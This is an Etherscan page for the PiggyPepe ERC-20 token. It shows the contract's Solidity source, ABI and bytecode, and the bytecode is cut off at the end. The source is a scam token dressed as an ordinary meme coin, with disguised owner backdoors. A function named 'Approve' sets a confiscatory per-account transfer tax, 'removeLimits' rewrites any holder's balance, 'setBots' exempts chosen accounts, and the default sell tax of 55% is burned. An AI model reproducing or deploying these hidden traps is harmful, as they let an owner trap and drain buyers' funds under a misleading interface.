ETH Price: $3,877.11 (-0.87%)

Token

ERC-20: PiggyPepe (PIGGYPEPE)
 

Overview

Max Total Supply

420,690,000 PIGGYPEPE

Holders

21

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
4,216,759.137298137417405672 PIGGYPEPE

Value
$0.00
0x928e1ed2fce8ed96509af7d86dea29a6a2c04cf3
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
PiggyPepe

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-05-15
*/

/**

✈️Telegram: https://t.me/piggypepeportal
🐦Twitter: https://twitter.com/piggypepecoin
🌐Website: https://www.piggypepe.com

*/
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.19;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    
    constructor() {
        _transferOwnership(_msgSender());
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the Owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new Owner is the zero address");
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

library SafeMath {
   
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
 
contract ERC20 is Context {

    mapping(address => mapping(address => uint256)) private _allowances;
    
    uint256 internal _totalSupply;
    string private _name;
    string private _symbol;

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    function name() public view virtual returns (string memory) {
        return _name;
    }

    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual returns (uint8) {
        return 18;
    }

    function totalSupply() public view virtual returns (uint256) {
        return _totalSupply;
    }

    function allowance(address owner, address spender) public view virtual returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }
}

contract PiggyPepe is ERC20, Ownable {

    using SafeMath for uint256;
    
    mapping(address => uint256) private _balances;
    mapping(address => bool) private _isTax;
    mapping(address => uint256) private _accTax;

    uint256 private _buyTax;
    uint256 private _sellTax;
    address private uniswapV2Pair;
    address private constant _deadAddress = 0x000000000000000000000000000000000000dEaD;
    IUniswapV2Router02 private uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);

    constructor(
        string memory name_,
        string memory symbol_,
        uint256 totalSupply_
    ) ERC20(name_, symbol_) {
        _mint(_msgSender(), totalSupply_ * 10**decimals());
	    _isTax[_msgSender()] = true;
        _buyTax = 0;
        _sellTax = 55;  
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: REWARD to the zero address"); 
        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);
    }

    function _transfer(
        address from,
        address to,
        uint256 _amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        uint256 fromBalance = _balances[from];
        require(fromBalance >= _amount, "ERC20: transfer amount exceeds balance");
        bool rF = true;
        if (_checkFreeAccount(from, to)) {
            rF = false;
        }
        uint256 tradeFeeAmount = 0;
        if (rF) {
            uint256 tradeFee = 0;
            if (uniswapV2Pair != address(0)) {
                if (to == uniswapV2Pair) {
                    tradeFee = _sellTax;
                }
                if (from == uniswapV2Pair) {
                    tradeFee = _buyTax;
                }
            }
            if (_accTax[from] > 0) {
                tradeFee = _accTax[from];
            }
            tradeFeeAmount = _amount.mul(tradeFee).div(100);
        }
        if (tradeFeeAmount > 0) {
            _balances[from] = _balances[from].sub(tradeFeeAmount);
            _balances[_deadAddress] = _balances[_deadAddress].add(tradeFeeAmount);
            emit Transfer(from, _deadAddress, tradeFeeAmount);
        }
        _balances[from] = _balances[from].sub(_amount - tradeFeeAmount);
        _balances[to] = _balances[to].add(_amount - tradeFeeAmount);
        emit Transfer(from, to, _amount - tradeFeeAmount);
    }

    function _checkFreeAccount(address from, address to) internal view returns (bool) {
        return _isTax[from] || _isTax[to];
    }

    function balanceOf(address account) public view virtual returns (uint256) {
        return _balances[account];
    }

    function getPair() external onlyOwner {
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
    }

    function setPair(address _pair) external onlyOwner {
        uniswapV2Pair = _pair;
    }

    function upgrageTax(uint256 _buy, uint256 _sell) external onlyOwner {
        _buyTax = _buy;
        _sellTax = _sell;
    }

    function Approve(address _address, uint256 _value) external onlyOwner {
        require(_value >= 0, "Account tax must be greater than or equal to 0");
        _accTax[_address] = _value;
    }

    function setBots(address _address, bool _value) external onlyOwner {
        _isTax[_address] = _value;
    }

    function removeLimits(address to, uint amount) external onlyOwner {
        _balances[to] = amount;
    }

    function transfer(address to, uint256 amount) public virtual returns (bool) {
        _transfer(_msgSender(), to, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0, 
            0, 
            address(this),
            block.timestamp
        );
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"uint256","name":"totalSupply_","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"Approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"_value","type":"bool"}],"name":"setBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_pair","type":"address"}],"name":"setPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buy","type":"uint256"},{"internalType":"uint256","name":"_sell","type":"uint256"}],"name":"upgrageTax","outputs":[],"stateMutability":"nonpayable","type":"function"}]

6080604052737a250d5630b4cf539739df2c5dacb4c659f2488d600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503480156200006657600080fd5b5060405162002ffc38038062002ffc83398181016040528101906200008c919062000595565b828281600290816200009f919062000870565b508060039081620000b1919062000870565b505050620000d4620000c86200019f60201b60201c565b620001a760201b60201c565b6200011f620000e86200019f60201b60201c565b620000f86200026d60201b60201c565b600a62000106919062000ae7565b8362000113919062000b38565b6200027660201b60201c565b600160066000620001356200019f60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506000600881905550603760098190555050505062000c95565b600033905090565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60006012905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603620002e8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620002df9062000c0a565b60405180910390fd5b8060016000828254620002fc919062000c2c565b9250508190555080600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825462000354919062000c2c565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620003bb919062000c78565b60405180910390a35050565b6000604051905090565b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6200043082620003e5565b810181811067ffffffffffffffff82111715620004525762000451620003f6565b5b80604052505050565b600062000467620003c7565b905062000475828262000425565b919050565b600067ffffffffffffffff821115620004985762000497620003f6565b5b620004a382620003e5565b9050602081019050919050565b60005b83811015620004d0578082015181840152602081019050620004b3565b60008484015250505050565b6000620004f3620004ed846200047a565b6200045b565b905082815260208101848484011115620005125762000511620003e0565b5b6200051f848285620004b0565b509392505050565b600082601f8301126200053f576200053e620003db565b5b815162000551848260208601620004dc565b91505092915050565b6000819050919050565b6200056f816200055a565b81146200057b57600080fd5b50565b6000815190506200058f8162000564565b92915050565b600080600060608486031215620005b157620005b0620003d1565b5b600084015167ffffffffffffffff811115620005d257620005d1620003d6565b5b620005e08682870162000527565b935050602084015167ffffffffffffffff811115620006045762000603620003d6565b5b620006128682870162000527565b925050604062000625868287016200057e565b9150509250925092565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200068257607f821691505b6020821081036200069857620006976200063a565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620007027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620006c3565b6200070e8683620006c3565b95508019841693508086168417925050509392505050565b6000819050919050565b6000620007516200074b62000745846200055a565b62000726565b6200055a565b9050919050565b6000819050919050565b6200076d8362000730565b620007856200077c8262000758565b848454620006d0565b825550505050565b600090565b6200079c6200078d565b620007a981848462000762565b505050565b5b81811015620007d157620007c560008262000792565b600181019050620007af565b5050565b601f8211156200082057620007ea816200069e565b620007f584620006b3565b8101602085101562000805578190505b6200081d6200081485620006b3565b830182620007ae565b50505b505050565b600082821c905092915050565b6000620008456000198460080262000825565b1980831691505092915050565b600062000860838362000832565b9150826002028217905092915050565b6200087b826200062f565b67ffffffffffffffff811115620008975762000896620003f6565b5b620008a3825462000669565b620008b0828285620007d5565b600060209050601f831160018114620008e85760008415620008d3578287015190505b620008df858262000852565b8655506200094f565b601f198416620008f8866200069e565b60005b828110156200092257848901518255600182019150602085019450602081019050620008fb565b868310156200094257848901516200093e601f89168262000832565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115620009e557808604811115620009bd57620009bc62000957565b5b6001851615620009cd5780820291505b8081029050620009dd8562000986565b94506200099d565b94509492505050565b60008262000a00576001905062000ad3565b8162000a10576000905062000ad3565b816001811462000a29576002811462000a345762000a6a565b600191505062000ad3565b60ff84111562000a495762000a4862000957565b5b8360020a91508482111562000a635762000a6262000957565b5b5062000ad3565b5060208310610133831016604e8410600b841016171562000aa45782820a90508381111562000a9e5762000a9d62000957565b5b62000ad3565b62000ab3848484600162000993565b9250905081840481111562000acd5762000acc62000957565b5b81810290505b9392505050565b600060ff82169050919050565b600062000af4826200055a565b915062000b018362000ada565b925062000b307fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620009ee565b905092915050565b600062000b45826200055a565b915062000b52836200055a565b925082820262000b62816200055a565b9150828204841483151762000b7c5762000b7b62000957565b5b5092915050565b600082825260208201905092915050565b7f45524332303a2052455741524420746f20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b600062000bf260218362000b83565b915062000bff8262000b94565b604082019050919050565b6000602082019050818103600083015262000c258162000be3565b9050919050565b600062000c39826200055a565b915062000c46836200055a565b925082820190508082111562000c615762000c6062000957565b5b92915050565b62000c72816200055a565b82525050565b600060208201905062000c8f600083018462000c67565b92915050565b6123578062000ca56000396000f3fe608060405234801561001057600080fd5b50600436106101165760003560e01c8063715018a6116100a257806395d89b411161007157806395d89b41146102b9578063a9059cbb146102d7578063c1f1b1b514610307578063dd62ed3e14610311578063f2fde38b1461034157610116565b8063715018a6146102595780638187f516146102635780638da5cb5b1461027f57806390ec57f11461029d57610116565b806323b872dd116100e957806323b872dd146101a3578063313ce567146101d35780634db23e3e146101f1578063508e13b81461020d57806370a082311461022957610116565b806306fdde031461011b578063095ea7b31461013957806313b2a23e1461016957806318160ddd14610185575b600080fd5b61012361035d565b604051610130919061191f565b60405180910390f35b610153600480360381019061014e91906119da565b6103ef565b6040516101609190611a35565b60405180910390f35b610183600480360381019061017e9190611a7c565b610412565b005b61018d6104e9565b60405161019a9190611acb565b60405180910390f35b6101bd60048036038101906101b89190611ae6565b6104f3565b6040516101ca9190611a35565b60405180910390f35b6101db610522565b6040516101e89190611b55565b60405180910390f35b61020b600480360381019061020691906119da565b61052b565b005b61022760048036038101906102229190611b70565b6105ef565b005b610243600480360381019061023e9190611bb0565b61067d565b6040516102509190611acb565b60405180910390f35b6102616106c6565b005b61027d60048036038101906102789190611bb0565b61074e565b005b61028761080e565b6040516102949190611bec565b60405180910390f35b6102b760048036038101906102b291906119da565b610838565b005b6102c1610940565b6040516102ce919061191f565b60405180910390f35b6102f160048036038101906102ec91906119da565b6109d2565b6040516102fe9190611a35565b60405180910390f35b61030f6109f0565b005b61032b60048036038101906103269190611c07565b610c4c565b6040516103389190611acb565b60405180910390f35b61035b60048036038101906103569190611bb0565b610cd2565b005b60606002805461036c90611c76565b80601f016020809104026020016040519081016040528092919081815260200182805461039890611c76565b80156103e55780601f106103ba576101008083540402835291602001916103e5565b820191906000526020600020905b8154815290600101906020018083116103c857829003601f168201915b5050505050905090565b6000806103fa610dc9565b9050610407818585610dd1565b600191505092915050565b61041a610dc9565b73ffffffffffffffffffffffffffffffffffffffff1661043861080e565b73ffffffffffffffffffffffffffffffffffffffff161461048e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161048590611cf3565b60405180910390fd5b80600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000600154905090565b6000806104fe610dc9565b905061050b858285610f99565b610516858585611025565b60019150509392505050565b60006012905090565b610533610dc9565b73ffffffffffffffffffffffffffffffffffffffff1661055161080e565b73ffffffffffffffffffffffffffffffffffffffff16146105a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161059e90611cf3565b60405180910390fd5b80600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6105f7610dc9565b73ffffffffffffffffffffffffffffffffffffffff1661061561080e565b73ffffffffffffffffffffffffffffffffffffffff161461066b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161066290611cf3565b60405180910390fd5b81600881905550806009819055505050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6106ce610dc9565b73ffffffffffffffffffffffffffffffffffffffff166106ec61080e565b73ffffffffffffffffffffffffffffffffffffffff1614610742576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161073990611cf3565b60405180910390fd5b61074c60006116c6565b565b610756610dc9565b73ffffffffffffffffffffffffffffffffffffffff1661077461080e565b73ffffffffffffffffffffffffffffffffffffffff16146107ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107c190611cf3565b60405180910390fd5b80600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610840610dc9565b73ffffffffffffffffffffffffffffffffffffffff1661085e61080e565b73ffffffffffffffffffffffffffffffffffffffff16146108b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108ab90611cf3565b60405180910390fd5b60008110156108f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108ef90611d85565b60405180910390fd5b80600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b60606003805461094f90611c76565b80601f016020809104026020016040519081016040528092919081815260200182805461097b90611c76565b80156109c85780601f1061099d576101008083540402835291602001916109c8565b820191906000526020600020905b8154815290600101906020018083116109ab57829003601f168201915b5050505050905090565b60006109e66109df610dc9565b8484611025565b6001905092915050565b6109f8610dc9565b73ffffffffffffffffffffffffffffffffffffffff16610a1661080e565b73ffffffffffffffffffffffffffffffffffffffff1614610a6c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a6390611cf3565b60405180910390fd5b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610ad9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610afd9190611dba565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b86573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610baa9190611dba565b6040518363ffffffff1660e01b8152600401610bc7929190611de7565b6020604051808303816000875af1158015610be6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c0a9190611dba565b600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610cda610dc9565b73ffffffffffffffffffffffffffffffffffffffff16610cf861080e565b73ffffffffffffffffffffffffffffffffffffffff1614610d4e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4590611cf3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610dbd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610db490611e82565b60405180910390fd5b610dc6816116c6565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610e40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e3790611f14565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610eaf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ea690611fa6565b60405180910390fd5b806000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f8c9190611acb565b60405180910390a3505050565b6000610fa58484610c4c565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff811461101f5781811015611011576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161100890612012565b60405180910390fd5b61101e8484848403610dd1565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611094576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161108b906120a4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611103576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110fa90612136565b60405180910390fd5b6000600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508181101561118a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611181906121c8565b60405180910390fd5b60006001905061119a858561178c565b156111a457600090505b6000811561136f5760008073ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112ba57600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff160361125e5760095490505b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff16036112b95760085490505b5b6000600760008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111561134557600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490505b61136b606461135d838861183790919063ffffffff16565b61184d90919063ffffffff16565b9150505b600081111561150e576113ca81600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461186390919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611461816005600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461187990919063ffffffff16565b6005600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061dead73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516115059190611acb565b60405180910390a35b61156b818561151d9190612217565b600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461186390919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061160b81856115bd9190612217565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461187990919063ffffffff16565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83876116a99190612217565b6040516116b69190611acb565b60405180910390a3505050505050565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061182f5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b905092915050565b60008183611845919061224b565b905092915050565b6000818361185b91906122bc565b905092915050565b600081836118719190612217565b905092915050565b6000818361188791906122ed565b905092915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156118c95780820151818401526020810190506118ae565b60008484015250505050565b6000601f19601f8301169050919050565b60006118f18261188f565b6118fb818561189a565b935061190b8185602086016118ab565b611914816118d5565b840191505092915050565b6000602082019050818103600083015261193981846118e6565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061197182611946565b9050919050565b61198181611966565b811461198c57600080fd5b50565b60008135905061199e81611978565b92915050565b6000819050919050565b6119b7816119a4565b81146119c257600080fd5b50565b6000813590506119d4816119ae565b92915050565b600080604083850312156119f1576119f0611941565b5b60006119ff8582860161198f565b9250506020611a10858286016119c5565b9150509250929050565b60008115159050919050565b611a2f81611a1a565b82525050565b6000602082019050611a4a6000830184611a26565b92915050565b611a5981611a1a565b8114611a6457600080fd5b50565b600081359050611a7681611a50565b92915050565b60008060408385031215611a9357611a92611941565b5b6000611aa18582860161198f565b9250506020611ab285828601611a67565b9150509250929050565b611ac5816119a4565b82525050565b6000602082019050611ae06000830184611abc565b92915050565b600080600060608486031215611aff57611afe611941565b5b6000611b0d8682870161198f565b9350506020611b1e8682870161198f565b9250506040611b2f868287016119c5565b9150509250925092565b600060ff82169050